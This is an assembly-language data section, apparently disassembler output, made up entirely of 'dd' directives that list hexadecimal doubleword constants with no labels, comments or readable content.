dd 1912A72h, 5193F4D5h, 0A106C4BFh, 2B81864Ah, 739A4E1h
dd 3BE307Dh, 0C359AEFCh, 48A8006Fh, 0EE811B2Fh, 4A2C2CC0h
dd 0ADCEBEE0h, 0F2FBE4EBh, 0D23D52E4h, 826D9BFh, 0E9FE5724h
dd 44D71B27h, 0EC9620D0h, 82F3892Ch, 3E4AFA39h, 815D6A80h
dd 727916E6h, 6FB304ACh, 0C4E2A8D4h, 0F340A58Ch, 70B869C4h
dd 844BDBF6h, 0D8EE7875h, 584B86C2h, 0C3A769ACh, 0CB2C898Eh
dd 9D0351E0h, 3B55EB5Ch, 7C18DFC4h, 46880C62h, 58C8985Ch
dd 49A85FECh, 3A06E9E1h, 8276B8ADh, 66C69B60h, 0B312D026h
dd 5EB0BD02h, 0BD7DC98h, 62F760E9h, 16860943h, 9734B014h
dd 38BBB2C0h, 7AE24158h, 4FE17759h, 0E36E13A1h, 559576CCh
dd 50525C94h, 861650D2h, 30A641h, 0BA5CD68Fh, 316851DCh
dd 0ED270E02h, 3C472F1h, 2A051CF2h, 6AD5E260h, 0FA365C2Dh
dd 0A06571D5h, 418841BAh, 32DFC03Eh, 0F4ED9EDCh, 0C8E045BEh
dd 0CD4055A0h, 53D00431h, 0F828EE68h, 784DC035h, 0E45E5039h
dd 27173DB8h, 0E64226h, 46707959h, 0E61DF581h, 0E98BCE0Ch
dd 0B55650E1h, 5904D0D3h, 8EBF3C87h, 341100ACh, 0D1E90248h
dd 9AF0B269h, 0E02BE991h, 8B4C62D2h, 61A881DFh, 803B6383h
dd 1EF24F4Ah, 6A01E3ECh, 0E9439673h, 24346B7Ch, 0A6ED3080h
dd 0EE880306h, 0D8406FB0h, 0B53616B0h, 502BCBEh, 4C865166h
dd 0D1F600C1h, 7EE90640h, 4CED2B9h, 0AEEBA4Ah, 0D6EEEC5Fh
dd 2256A061h, 0CC3B8205h, 6A1C3BC6h, 8182ED3Eh, 763107EBh
dd 80260B66h, 0C89FE5C4h, 0DD9CF13Eh, 8C1F8B6Bh, 0D381BC5Ch
dd 5D183167h, 4A88221h, 372309AEh, 68D86086h, 25D2F4B7h
dd 0ECBF39E5h, 0EEC87164h, 2FF0926Bh, 4FDE6FB7h, 0F6A4E703h
dd 0C1EFA9DFh, 0E06DC4E0h, 0EB96B8FCh, 1EF4A940h, 28AB02B2h
dd 9146E9E2h, 0A7C5D95Dh, 8A0062FEh, 817BB769h, 6ADC0BE9h
dd 54003D64h, 212223B2h, 0EF825DB2h, 698D6AC0h, 4A8B149Eh
dd 0E47A3058h, 0C0BB80ECh, 764F4617h, 48316CB8h, 68D329D7h
dd 0D102090Ah, 0B40600EBh, 905B710h, 0B6D7E951h, 1524CF5h
dd 544ABE56h, 84525D01h, 5827B1B0h, 96B386FFh, 3B008D8h
dd 0DCA6148Ch, 3104D089h, 0E86DE9D6h, 0D488033Fh, 0D296B35Ah
dd 9E5850h, 0BA244DB8h, 6E0C161h, 818D54B7h, 3E5D67B9h
dd 4A26603Fh, 0D0ED3A3Ch, 3B28E5E0h, 0D8648486h, 7AA205ADh
dd 0B640DB16h, 0BCB5165Eh, 1752B135h, 0A88421B9h, 85891F2Ah
dd 9503F42Fh, 7F1A9DC3h, 0B15C30BEh, 4556500Fh, 33319818h
dd 2681B22Ah, 127D42BDh, 0F0882158h, 0A99F6B5Bh, 55B3C269h
dd 81A850C7h, 0AD17AD4Fh, 2F657DEAh, 6C9FBB41h, 907042ABh
dd 6D60026Ah, 0E2ECE93Dh, 0BF2BE4D5h, 0E9C1BED1h, 6182935Fh
dd 0EB9FFBC6h, 2F3FE9C0h, 0B4F2494h, 99C5E368h, 54C9D22Ch
dd 81FC7A45h, 0C6AD2AA9h, 7938F2D4h, 0E4CEFC5Bh, 0DD019212h
dd 3D7013A3h, 20155B4Ah, 0D39E205Eh, 843C50F4h, 3F331803h
dd 0C4B4010Dh, 0DA084225h, 0B3895D5Bh, 4C2FEE2h, 48FE3F5h
dd 472E6D28h, 0B8968269h, 6F7155h, 1F2822F2h, 5909E581h
dd 262CE5Dh, 6413AE40h, 0A48585D9h, 45AA02FAh, 0CA638A3Bh
dd 27A7558h, 0F47DDE54h, 0D8247521h, 4B0E13D8h, 0ED29D865h
dd 0AC741E5Dh, 0C097D232h, 3E685CCEh, 0C10889B1h, 4F3831D6h
dd 0D5CA06DCh, 8933F681h, 0AE9DF7F6h, 5C1347A0h, 73168762h
dd 0BA3FCC08h, 7DDCC2B7h, 0D3645751h, 4A5527B4h, 5B4AE738h
dd 2B6829FEh, 17C521A7h, 6F41B39Ah, 11DF664Eh, 3F050916h
dd 68025022h, 0A57A9607h, 5341AD0Ah, 0F402F509h, 0F84D0672h
dd 7A5C2FF8h, 0FB786A09h, 13B9D04Ch, 0EB5035C1h, 0DA015128h
dd 0F52723D4h, 8B7F261Bh, 1113B4Dh, 0BA6CA81h, 70836F94h
dd 45EE12B3h, 79CFC806h, 3A0C01F1h, 0CCC3E53h, 0E61B2A16h
dd 0D5731382h, 4AC31F55h, 5C183CEFh, 0A4E2FA9Ch, 0A32E7F09h
dd 7C5C27E9h, 0D2421D21h, 40CFA20Ch, 1E735D8Bh, 89A7F2Fh
dd 62DBDC55h, 13548BCAh, 144C3D0Ch, 54F0068h, 0C15F182Dh
dd 419807E7h, 3E54CD0Ch, 13D40C25h, 0C0D3031Bh, 693CE995h
dd 0D17133BFh, 4F837CD4h, 0F88205Eh, 0FEE5C5D3h, 0F92E0A39h
dd 0FDE9D6FFh, 0FA63F213h, 9CFE1734h, 0B84AA2A8h, 689A9CEAh
dd 23555731h, 5902DDDAh, 7625D0DDh, 45F697CBh, 7CC5EB6Eh
dd 149A832Bh, 0C9D14348h, 3A1D219Ch, 0EE279FE0h, 0E9910942h
dd 0EE48D54Eh, 7306318Dh, 89F2814Ah, 0ABE2970Dh, 2645ECF7h
dd 0AFA423AEh, 0C7A6358h, 772CD637h, 2B4EB760h, 0D0F9FE50h
dd 0D36B086Eh, 4942B15Eh, 60E75C25h, 55C44650h, 0FB00587Ch
dd 54ADC29h, 10AE67C7h, 6E2D4803h, 14EBA002h, 28311BB8h
dd 9C358C6h, 50E17C34h, 22D74B80h, 18C06F19h, 39B4772Ah
dd 0E9F21629h, 0BAEBC0E8h, 303D9F99h, 0A1B124DDh, 6CBDD9AFh
dd 0AA2FE9FBh, 450F189Bh, 0F84A8178h, 0A5976C74h, 91BAEA85h
dd 70FA2917h, 5CDD9A81h, 0B2DF0C0h, 9D664119h, 0E98FFEE5h
dd 71FE3261h, 8255FD29h, 0CE1E9F50h, 496A7173h, 8F7A2057h
dd 2DBB0E71h, 0E4D3FD89h, 7840ED01h, 0B3701627h, 88899F54h
dd 0B0BFBEF5h, 17C92E95h, 0E6810E5Dh, 2E0F1FA0h, 0D69A31E9h
dd 504DBA04h, 1DC00CB4h, 5F69CDBFh, 1A8AC24Bh, 0D95FDEEAh
dd 80DC9302h, 580EB8F4h, 95A8A16h, 70F37480h, 42A1041Ch
dd 0F3D247E9h, 0DABBD701h, 0E94A617Ah, 0BD29DE7Ch, 0BA075705h
dd 0BD0F872h, 51159168h, 0C9E889Ch, 5E25002Ch, 315359ADh
dd 0B00B6FB0h, 5A58FC5Bh, 5688287Ch, 12C92425h, 3A52E1F5h
dd 4610D89Ah, 16FA4B1Bh, 6598098Ah, 0B878C5F8h, 5BA04712h
dd 6F4CE5AAh, 55C1F5ACh, 2F275F68h, 0A0541833h, 4BD6718h
dd 0AA1D7A92h, 0E9048829h, 797EB827h, 0FE84C9CEh, 0EE3CD4DEh
dd 413BB5C8h, 0D002409Dh, 765C0A02h, 5003002Fh, 5E3170B8h
dd 73BE922Ch, 68FF1383h, 0FF93533Ch, 1D1D0665h, 505726DCh
dd 0E99078BAh, 57914A25h, 0B56F3A9h, 573C1571h, 58054002h
dd 6468502Ah, 18BF8F71h, 8070413Bh, 16059A35h, 0C2017DADh
dd 47A5B316h, 2E37013Ah, 39083102h, 8EBF92EFh, 209C4B81h
dd 6B53970Ch, 0AC50E924h, 4C83828Eh, 0DF4AFB2Bh, 9ED8ABAh
dd 8008EEC1h, 0A202F258h, 0FC60905Eh, 48641251h, 7947FF21h
dd 0CA30F7B1h, 27E9FE87h, 9655CF75h, 525A5257h, 9395E909h
dd 9C484EC8h, 844312B7h
dd 9AEA548Bh, 0C83308Ah, 0B7F4F8E9h, 35680DA2h, 0F768837Eh
dd 0C179E98Bh, 53D84BEDh, 0EF00968Dh, 0B98EE064h, 4B61841Dh
dd 0E0F0B857h, 9D8CC9E9h, 0F6ADF67Eh, 0C7AB4FF4h, 31C0B4E2h
dd 5F81672Eh, 7D9BE47Ah, 2D7F7316h, 87E95191h, 0EAEC127Eh
dd 42678129h, 3883E909h, 56D94CC9h, 0A181EDDDh, 46163BC7h
dd 914BE8A6h, 6FEFBB3Ah, 0F8FDAD57h, 0ED08F04Ah, 1051F40h
dd 658D498Eh, 3E422968h, 75CDF78Ch, 0F8E0BF18h, 0DB3B01CAh
dd 2CE2035Ch, 1C23AC5Fh, 560392BCh, 246FAFDh, 1D9088Ah
dd 691F9FEEh, 44C62921h, 0C081AA4h, 51B1E875h, 0CDD19DB9h
dd 0C050E3Eh, 0CE296607h, 59088144h, 568C1E82h, 0AE56607Bh
dd 0C3BAA59h, 80984A92h, 9713A09h, 58957E52h, 534E1F68h
dd 41D9328Ch, 0A6736040h, 480E6652h, 24A74E13h, 0B5C4076Fh
dd 0D7A9FD44h, 0F96F27A1h, 7FEE8515h, 0CB28E421h, 0CA501233h
dd 0E7D9211h, 4FDC6866h, 8CC57F9Bh, 63FF02C2h, 0E3844EA8h
dd 9BBDFF0h, 79882CADh, 0BA11A284h, 5C270C2Eh, 51007D44h
dd 0C1050F28h, 30E908E7h, 0ED37986Eh, 0B63B679Dh, 0AEF50060h
dd 0E937DF18h, 5BA25BA5h, 0F6F804FCh, 62285220h, 373B870Bh
dd 490F2C01h, 0FBF26A13h, 0AD3D2D97h, 0B7DB4614h, 3D2C5359h
dd 0D145700Bh, 2F6C828Fh, 0B1406555h, 50441FFh, 75C0E90Bh
dd 0C6F088AAh, 88E799Dh, 572522DFh, 0BB492FECh, 0B9BE027Ch
dd 4037A710h, 7F1C2998h, 2771E3B1h, 0CE05E432h, 8749D571h
dd 0BF4DE57Dh, 2F39330h, 0EA414BD7h, 0F6F0838h, 49510601h
dd 0F4E6E9A0h, 0A0EA729Ah, 1237C64Eh, 0F9F0AE3h, 2CED8036h
dd 0EB967F05h, 8D4C6B5Ch, 4067EAC9h, 0B60A357Eh, 934EF26Ah
dd 0B1545B00h, 0B709E944h, 4822FF4h, 764E3608h, 0FAA53E8Dh
dd 488561E0h, 546D0D2Ch, 73488710h, 68048420h, 0D7C3F28h
dd 0BEEBF9C1h, 3C086FECh, 0E9895953h, 14573597h, 0E7FEB7E0h
dd 0DE5EF189h, 2DF26EEh, 1C986B17h, 75D1642h, 0A9CEFCD3h
dd 0D3C570C0h, 4698E018h, 0B53B1EC0h, 2EE9E193h, 8B7CC7EFh
dd 8F50D9F7h, 0A32B8E0Bh, 688A407Fh, 0BF33623Ah, 3B5A14C7h
dd 6D1FC404h, 0CBAF01D0h, 61212FD6h, 81092CBBh, 740BBEC8h
dd 928769B7h, 4094BA52h, 0D6319C63h, 0F46B2699h, 0D5260817h
dd 2315E0Bh, 5B02788h, 0BD6CC25Ch, 61FC154Ah, 0DE86F05h
dd 160464AAh, 0C094210Bh, 70C25195h, 50713A2Eh, 0CD6A83F8h
dd 0A1357A17h, 17C8E8E4h, 9271D668h, 917793F4h, 8846B26h
dd 0A31FD468h, 8C991043h, 8EC3800Bh, 99D56EF7h, 1FF10977h
dd 0D078DD56h, 53EC1635h, 52861FDEh, 0E16E66D9h, 0C40832B5h
dd 0D78D630Dh, 0D5E190BAh, 0FC77E53h, 0D1D08E80h, 0DA292EC4h
dd 8B1021h, 852F26BFh, 0B57C014Dh, 8989E671h, 9E98F718h
dd 0A02E67EDh, 0C3A0FC43h, 0A14E3709h, 820757Ch, 835EB1CCh
dd 0C018E918h, 953C77B3h, 0E0126BDBh, 0B1D26C5h, 2BBE3644h
dd 20C292FFh, 644F33D9h, 0BC112CCFh, 0F52C41Dh, 10A5B9B1h
dd 8677B8C5h, 76675D57h, 9F01FE5Fh, 0AEBD6300h, 20273274h
dd 0E6E46031h, 0D92E03C9h, 0FD3EE942h, 0E588900Eh, 4AD76F53h
dd 78A7A314h, 4A042015h, 755D5427h, 4FA0FB14h, 0C1E1D106h
dd 0D2B83B01h, 0F8E5D9CFh, 8B080102h, 0E357E069h, 85AD294Bh
dd 0F44B514Dh, 0D24EEEBFh, 0FBD38BFh, 0C2D8AEABh, 7E78388Dh
dd 9BF9FF6h, 2167FF72h, 774FCC89h, 0ECD9D9BBh, 0EA4A6A9Fh
dd 73AFDA7Bh, 29EA4CD1h, 0A0479A40h, 3B5786FAh, 0EF270DEEh
dd 1326AA76h, 1724400Eh, 682760FFh, 9BAC4F80h, 3920BEB0h
dd 0F17D98A2h, 0C00B99C0h, 0EBA31D0Ch, 0F54B3149h, 1210B7F7h
dd 1BB05B2Fh, 0F851B72Ah, 0B09DE68Bh, 62A9680Bh, 42FE3918h
dd 0C4E4770Fh, 0F3EB6040h, 0E1768FC9h, 0B8774E7Bh, 63697695h
dd 4510389Fh, 5A3B58CFh, 31934F70h, 87B62923h, 8E3C139h
dd 2D07DF4Bh, 0A7749915h, 5DCC0D09h, 5325A464h, 8E2271B1h
dd 251CCAD0h, 680942EFh, 8B30FD14h, 8723381h, 6414FC9Fh
dd 5004EFF0h, 0B2074A78h, 0A0AC753Bh, 0F21268B3h, 0C0EFCE4Dh
dd 95093DE1h, 0BAF4405Eh, 0C6BB2E47h, 709B0864h, 0DC46660Ch
dd 0F60540E6h, 0E92B2404h, 8BBF585Fh, 4811515Fh, 97C420F5h
dd 9EAFFA01h, 0E9E7618Eh, 0B26AB3A2h, 21E9A0ACh, 9551B786h
dd 9BFF6025h, 0C131C002h, 70CF1E38h, 94D32CFDh, 8FAB1077h
dd 80C3011Bh, 17A24DD3h, 5F6E1A75h, 79243B79h, 33D7531Ch
dd 9962DD04h, 40166802h, 0EC63B456h, 0F2AB8515h, 0B85AD944h
dd 0E043E56Fh, 0A924E9C1h, 7E6B0A94h, 1EDB2DA4h, 2C45582Dh
dd 0C503B48Bh, 0DB4FE5Bh, 0C4EF5BD1h, 17910025h, 29CEEDE5h
dd 5B0983B6h, 0CB8D566h, 6FB0B70Fh, 5722F32Ah, 806DE916h
dd 1ECF61BBh, 70D03BBDh, 1F334CF2h, 4AF82976h, 0BFFC1746h
dd 4DF344DBh, 58E2EF80h, 40B997DFh, 43A2B8C1h, 0F29F6953h
dd 16F44BE9h, 0A63CEEB2h, 6B0201B8h, 4CE97F69h, 301A9332h
dd 0DBAB9506h, 68E5123Bh, 0DF15FC4h, 7F0A822Bh, 55C04DFCh
dd 0DA478568h, 78B9394Dh, 3211782Fh, 0F4FB0012h, 0B0076A3Ch
dd 3B1DE816h, 0CE1D01ADh, 184D8B87h, 50B38Bh, 82351C0Bh
dd 8774D678h, 0DB228367h, 81E56A88h, 43FC51AFh, 0E87EF74Fh
dd 15D4ABE6h, 8AEE4088h, 0BD3659Fh, 656E875Eh, 15ED7497h
dd 0EE5FBED2h, 74D9AA33h, 5911C978h, 5DE9BBE8h, 0B97E2741h
dd 50680A82h, 5462FE7Dh, 953C4E59h, 0A993BD53h, 0AAD7CAB8h
dd 5E090D88h, 538E2331h, 8430CBC8h, 25584758h, 5BF9D4D2h
dd 65B3502Ch, 30522940h, 1E2EC4Fh, 7F025C33h, 0FC05EAC1h
dd 65E813F2h, 0C40C2B60h, 9838B835h, 0CDEE0B76h, 645FEC0Ah
dd 92C90A5h, 699819F0h, 83598277h, 0C1D4665Dh, 0F15099E4h
dd 48237C6Ch, 479F5479h, 0FFC8FEA0h, 83A00A4Fh, 0DBFD82C6h
dd 0BEA020FBh, 0F25D7247h, 32632180h, 7EBE42h, 296A13BFh
dd 0D42053B8h, 0ADF9584h, 422C47C6h, 27EB6E08h, 68E1EC51h
dd 3664195h, 0DC4A7209h, 8294DA02h, 0E3ED8103h, 5F5BEA54h
dd 8032E6Ah, 40C6F9E9h, 0F1295F1Eh, 0F68B6F1Ah, 7F2B8CB9h
dd 5F4BF8FFh, 2A9E32E1h, 0C8525Eh, 6A685217h, 61E5B87Eh
dd 0C2A52189h, 69895B7Fh, 6850E768h, 615FBC2Ah, 7E2EE916h
dd 0DEF0AF22h, 0CD210F65h, 0B4E44FA4h, 1278ECC4h, 0F5810601h
dd 76DB270Eh, 407AD6Fh, 1FE1660h, 0C6E7C8BAh, 36A55414h
dd 32EB05EEh, 0F48124C9h, 4A628DE2h, 2BEA8101h, 0F5565254h
dd 0B6368D8h, 8A8AC288h, 9A0CBADDh, 0B7CFD709h, 85DDA2E0h
dd 20971A97h, 696A54C4h, 0F4681235h, 7176453Bh, 0D205FDF3h
dd 0FE85ABB8h, 0D30F60CFh, 0B97868E0h, 49987995h, 9F0E775h
dd 4C7E5AE9h, 7F251D2Eh, 33A44D45h, 0DA55BDE2h, 0D98C5926h
dd 0E16DBE5Ah, 4F664160h, 6AECC45h, 0FE11466Eh, 0B294D727h
dd 0D1E5EA80h, 22EE61C0h, 0F62C1B42h, 0AA984B8Fh, 0DF3A8022h
dd 6C17B1Bh, 8A20A0EAh, 7C7A5A7Ah, 0A47ADE27h, 0F1DF7F6h
dd 540F0761h, 627DCDE9h, 4167DD22h, 0C641E906h, 0D560BD75h
dd 5B970831h, 0FC99BDD6h, 0DCD9C5B2h, 0ADBA96EFh, 0D0F441B7h
dd 0D15ECD2Eh, 27CF6D33h, 533077DDh, 75B0C729h, 0B7883929h
dd 0E9B4D20Ch, 0FC82E5FDh, 59CB315Fh, 80705ADDh, 1941DBEEh
dd 40D82934h, 8677A471h, 6AE4917h, 9B3492E7h, 6E3E81BDh
dd 8541AC63h, 2A39C836h
dd 2E0C100h, 0EE3F6F05h, 1F020A75h, 0E9AEFE4Fh, 121F7C60h
dd 0B0A100BBh, 0CB814B06h, 323B23EEh, 63F3035Bh, 0E06E1C41h
dd 244F11E9h, 226693Ch, 4790726Dh, 1AF540CBh, 140C1C08h
dd 0FC0AE142h, 0EA75AE34h, 0B734F02Dh, 2DC2B2DEh, 0CAEE0F7Ch
dd 9258B0EBh, 68ECBD62h, 772D4232h, 37E9B948h, 0C12EAD61h
dd 70C405E8h, 30C73E0Eh, 0A57A34AEh, 55521E7Ch, 5F28DF65h
dd 44037BE1h, 84103999h, 0E95FE4AFh, 0E0F19F4Ah, 922AB92Eh
dd 658B7F05h, 591874B3h, 0E5D192FEh, 0E26641BDh, 5848092Bh
dd 1255FB5Fh, 0BE50EA2Dh, 0D7BA25D4h, 527F8C32h, 309CC3AAh
dd 748A7612h, 0D6504562h, 280D3409h, 3C7461C3h, 0B4079B23h
dd 0B1EC802Ah, 0CD58E328h, 0D063E2CBh, 6EF60628h, 7DA63925h
dd 0DBD2839Bh, 0C7095248h, 681748A4h, 6F8C7E02h, 0F36A168Fh
dd 50E1077Ah, 67820B0Ch, 94559A8Ah, 0BB530213h, 2A163319h
dd 45EF2D40h, 7F60F425h, 29F8163h, 4075FA17h, 76208866h
dd 501408Fh, 13E213Bh, 0E9C629F8h, 0CC6A2E54h, 0E39FC894h
dd 9CF8EDCAh, 0CE1EE83Bh, 8CEE4FF2h, 0F6C2E6CFh, 74C12841h
dd 5FC79D49h, 1A8C3889h, 0DEDC5744h, 58B8F76Ah, 0F6C29C2Eh
dd 405FA655h, 48E0715h, 0F3E9D42Dh, 0EFA3FEEEh, 0C685F393h
dd 0B5349F48h, 0F268BDA1h, 8BE22E42h, 5A1D90D3h, 6C502C61h
dd 1E048908h, 4C015EAFh, 5C16E907h, 0A3063532h, 0D1613D46h
dd 7D73028Ch, 484075ACh, 0DB98177h, 967B2FE7h, 0F6F404D5h
dd 0D82CB403h, 4FF0313Ch, 923CAC58h, 93FFA7ABh, 53867008h
dd 2C9E62D9h, 0FA936Eh, 0B9108981h, 0E603BB6Bh, 0E91CC66Eh
dd 0C7D4E4E1h, 1BE39384h, 38516F50h, 8D4C7CB1h, 0E5EB800Bh
dd 0FA40AB42h, 1F992135h, 187A0E88h, 310DF8C1h, 0B407295Bh
dd 0FD0B67B2h, 28578AB1h, 4071C947h, 95FD286Fh, 801C5796h
dd 0E5CE91EDh, 64CDC1A2h, 1685DDF6h, 0C2EF3060h, 0B56E5h
dd 9D3BC626h, 9D39876h, 0C5E7F170h, 51002CDEh, 7A2680B9h
dd 7679812h, 71873EE2h, 0B0035781h, 0DAF706D3h, 0C28EC0B7h
dd 8D6213DFh, 5F16AF4Bh, 0E916C1B8h, 0A5A9A008h, 0BE2840h
dd 68DF1E64h, 1751C681h, 0B453462Ch, 79F8A51Dh, 3E835096h
dd 45DF9EFh, 0E344575Ch, 17A7BC02h, 0CBA3B958h, 3F4A6808h
dd 0C93D273Fh, 462FEA3Dh, 14C75FA3h, 4F2EBF04h, 1EF40DA4h
dd 11051831h, 8FCF113Ch, 15033B17h, 94242C07h, 0A00BF7DFh
dd 0F58BA918h, 0E9087BC1h, 0B6257428h, 0F47988E2h, 4C1B2720h
dd 9913D6B7h, 65598C0Ch, 580765B6h, 4A85C531h, 0ECEF4E4h
dd 1FA57953h, 595DE6C0h, 18CE48D1h, 0FBC8BBBh, 0E6C6E99Dh
dd 99FE2FC9h, 500F07C6h, 0E080EDB4h, 0E9E18838h, 0F74040F8h
dd 0C5A40082h, 98971B96h, 9C8F2CCDh, 64AF8259h, 16604F82h
dd 0C32F3FAAh, 0F43FE21Ah, 22C52707h, 795C010Bh, 0E116C882h
dd 75D70AE9h, 450C608Bh, 5A1412BCh, 442306F2h, 55E22568h
dd 3F60EBD3h, 4D865CFCh, 455397DFh, 4C685055h, 56170D2Dh
dd 0E74B72ECh, 4EA5D241h, 702029B6h, 0F33B2E1Bh, 74B90963h
dd 2D4794F5h, 0DB3010B2h, 0CDB49E98h, 2827C3C2h, 0FA6634CBh
dd 0FA7E6F8Ah, 1679959Fh, 250EE708h, 401B274h, 29353C96h
dd 0F6A9002Eh, 3AF8EFD2h, 0A8D6E917h, 44A8C329h, 33FB0B48h
dd 62603EFCh, 2025C1E3h, 0BD4A509Fh, 21C5F05Ch, 220FDEEDh
dd 13442Eh, 2C1A101Ch, 0FB0B296Fh, 59C7A0E9h, 60E29C76h
dd 68EED104h, 0C1A604E0h, 2C67C04Bh, 4B603DF8h, 7D3AE5Ch
dd 2081A0C2h, 62CF2E77h, 8C194A8h, 9042BD5Ah, 0E309D395h
dd 0BDAEF3ACh, 9CAC290h, 440D8668h, 0C3FCB7CFh, 82FCB758h
dd 410D1BC1h, 2ABD72EDh, 40E82DAAh, 26DBEEF2h, 3A81F251h
dd 0BBEB5160h, 25A5306Ah, 2308A30Ch, 0D30A785Fh, 0C3408C3h
dd 0A9E91402h, 1FF05A8Fh, 43AC1F83h, 0D15DEF09h, 4906709Eh
dd 56797614h, 9C6B0C0h, 97E905A4h, 0D35A427Ah, 0A19BAB9h
dd 968A4E77h, 922188DFh, 756F9D62h, 0C317FECAh, 0B89387B2h
dd 13DF81C6h, 26E7C91h, 53C201EFh, 0C83CF956h, 8CA061E8h
dd 47C0BB3Ch, 1A10C14Fh, 7B036575h, 531415F8h, 0F9819EC1h
dd 3017E822h, 4701E288h, 0DF01248Fh, 5689DE9h, 16890502h
dd 0A2809E5Dh, 314C5C30h, 0ADE927h, 660E2D5Ah, 143143Bh
dd 88059BE8h, 0C06BB107h, 50593854h, 0B5D0B5Ch, 0C052E903h
dd 178DBE82h, 0F9223127h, 15E103D1h, 0B5834CEDh, 0D75ABF58h
dd 0F7951C24h, 9150F0D0h, 6D12A94Fh, 89C07AE9h, 0CB43F480h
dd 24FFB106h, 0CCFA685Ah, 4648B3F4h, 0F5B2F23h, 4469E4FBh
dd 0D8C011FCh, 58330E31h, 0F2D4838h, 0F2F3BE23h, 9CC395C1h
dd 2D787E33h, 959FBDAh, 4A194B43h, 482FBC55h, 26E07BB0h
dd 16C2E7B5h, 9EBA015Ch, 2F4B4637h, 0C917401h, 0F16F5065h
dd 2F6085B0h, 0B6C71743h, 0B1E3F90h, 7E18C05Eh, 0E9C733F4h
dd 4EED38F7h, 0BCE26BB8h, 5C4B6970h, 9D2A3ED9h, 0A4DB9738h
dd 68CD88EBh, 53F2C509h, 5C7E5E4Fh, 62BA314Bh, 3E5CC1B4h
dd 0E9E11A21h, 0F26B7579h, 0A320492h, 0AEA3E9Ah, 1208EFE2h
dd 0E516EA5Ah, 8A49C965h, 10C30057h, 3A34A603h, 0E4AC4CBFh
dd 0B71B0845h, 777B681Ah, 0FC8A5EA4h, 0B6528784h, 5AF530B1h
dd 0B1880370h, 0F0E0A00Dh, 9EBA9F3Fh, 53519B60h, 0F1B2BAFEh
dd 725551AAh, 0CB0ED4D1h, 0C70F0B05h, 0EB53E1C2h, 0C98100ECh
dd 5E2E0613h, 764A475h, 639E16C1h, 0F1D82337h, 5CCC122Dh
dd 0D35EFA0Fh, 136C8A9Bh, 25AF260Ch, 4294BB52h, 0B911F4EBh
dd 6F300CF6h, 5A644827h, 876BC7D7h, 1C3212E9h, 30B1E7D5h
dd 37A3550h, 0CFFE2598h, 0D6FC8500h, 9A50E42Dh, 3DC0973Bh
dd 40824F7Bh, 7A282FD1h, 80765BE3h, 0B605ADCBh, 20D4541Dh
dd 1556F26Fh, 0C2B8CDE9h, 0B151D807h, 0D470A3ECh, 595B3405h
dd 0C205F188h, 8DAE0445h, 43329F9h, 222D189Fh, 0E092A9F9h
dd 0B1FC3E66h, 3330094Ch, 0CFBD5274h, 216AF300h, 0DCE5AAEEh
dd 542F3A80h, 5A04F376h, 1483D0F6h, 0D5E9EF89h, 2CEF9A16h
dd 6ED5A436h, 93AAB2BEh, 9E9F61AEh, 434B02ABh, 86635406h
dd 681F1611h, 0E945056Fh, 0AB8A95D7h, 0CE874081h, 404C2E20h
dd 50015F79h, 73478BB8h, 0B9EF0512h, 0F882ED8Ch, 38926E2Ch
dd 2038037Ch, 0EE297D95h, 5F054F3Bh, 62A4CFD0h, 0FA47A544h
dd 5B7C9CCAh, 89C4DCh, 7235C7A7h, 62C1FDF0h, 5500444h
dd 22C6AAB4h, 0B7CC5F08h, 0E99DB8BFh, 1D0594C6h, 52018380h
dd 0E2B317B2h, 89BC0FBh, 6071CAE1h, 20B62335h, 9FEF3EBh
dd 1B54A76Eh, 0A0C050E4h, 12D01063h, 0EE64E90Dh, 79CB6012h
dd 0D929FB5Fh, 1257D918h, 88886CE9h, 51095EA7h, 0D92FB868h
dd 100BF52h, 5AB925ECh, 6C27FD65h, 78147531h, 55CE092Fh
dd 6A1DF799h, 2F5A420Fh, 408F0951h, 5004ACDEh, 0A3E08E3Fh
dd 0C2FEB88Bh, 0FAEA3980h, 280CBFCCh, 16225AD0h, 432F8F9h
dd 0E916A261h, 7638C0B6h, 648258A1h, 0C55F474h, 6C20E060h
dd 5905E22Bh, 5BF95399h, 0DE83C02Fh, 0FA481D93h, 75B41702h
dd 0A829820Bh, 5F16089Ch, 0EF7C94AAh, 92DECBE2h, 5EAD3372h
dd 80B7C5C9h, 48F86871h, 4B5B5708h, 305CBD4Bh, 762D7205h
dd 85175EE1h, 8BD4B9CDh, 48DB81AFh, 13BCA31h, 0AD363546h
dd 0C0AE050Ah, 741AD273h, 60E94A17h, 5A5440C1h, 0A641E03Bh
dd 0DF564769h, 5FE970E8h
dd 0CB3D07BCh, 82E421E9h, 2E48A559h, 562572BEh, 0C2E9F65Eh
dd 0E90102DCh, 416BA6D4h, 0EA672B76h, 2BA46A04h, 5C3E40B5h
dd 7DD4D09Fh, 8EB68DDh, 4FE90484h, 0CE5D0A5h, 277AD874h
dd 6EBB9F25h, 0DA68179Eh, 0EE7F8C6Dh, 5CF54E41h, 0B4D7C2A7h
dd 0BE0A86C7h, 8839C2B1h, 0A720BD5Ah, 2DD798B5h, 8866CF8Bh
dd 0FC1D906Bh, 0EAC38351h, 0E5FFD77Eh, 5B00AC48h, 8900B1DDh
dd 5F4A60F9h, 12DF91Ch, 576107C6h, 0CEE5E968h, 5A47AD3Bh
dd 0D8AD6057h, 7A59B901h, 2EEDC161h, 57558C00h, 0A0460905h
dd 0B862CEF0h, 33E917A6h, 1341F6AEh, 75B29A3Eh, 0B9B02F78h
dd 0C08FDA53h, 74E0A502h, 195FC9F4h, 0F51C5709h, 58E06A5Ah
dd 0AC724B89h, 0CD1C41Ah, 4FE70C1Dh, 8BEA8106h, 0A4C3817h
dd 18066602h, 638570Ch, 0E02E8C1h, 1D68C831h, 2D4C517Fh
dd 875CB957h, 0AD17F17Eh, 4277E808h, 0BF1B7A0h, 0E63B088Bh
dd 1121605Ah, 0F674C980h, 0FCFED93Ah, 0F40FC85Bh, 0FAC6A75Ah
dd 0C1B81094h, 3D21FF5Fh, 2697A720h, 0D552AB2Dh, 0B0549CCh
dd 33C067Fh, 142D0C85h, 679F0F07h, 797FC6C2h, 9F7E5266h
dd 31929744h, 0B401FD59h, 3F3AEF68h, 758ACE32h, 0E8E90718h
dd 20EBC04Bh, 6375BAE8h, 45FE3364h, 12F53A88h, 0D066DE48h
dd 2008CC39h, 30042648h, 0BEEF91BCh, 0C1495801h, 57E0D32Dh
dd 88395052h, 0A0C633C8h, 9018A660h, 18C00953h, 42FC2996h
dd 63FD5E3Fh, 8FC8013Ah, 0AF35C45Eh, 5D7E068Ah, 0E15F4859h
dd 4FF37B83h, 0BF17EED2h, 0A1416AF2h, 693DC5CDh, 0C660DA89h
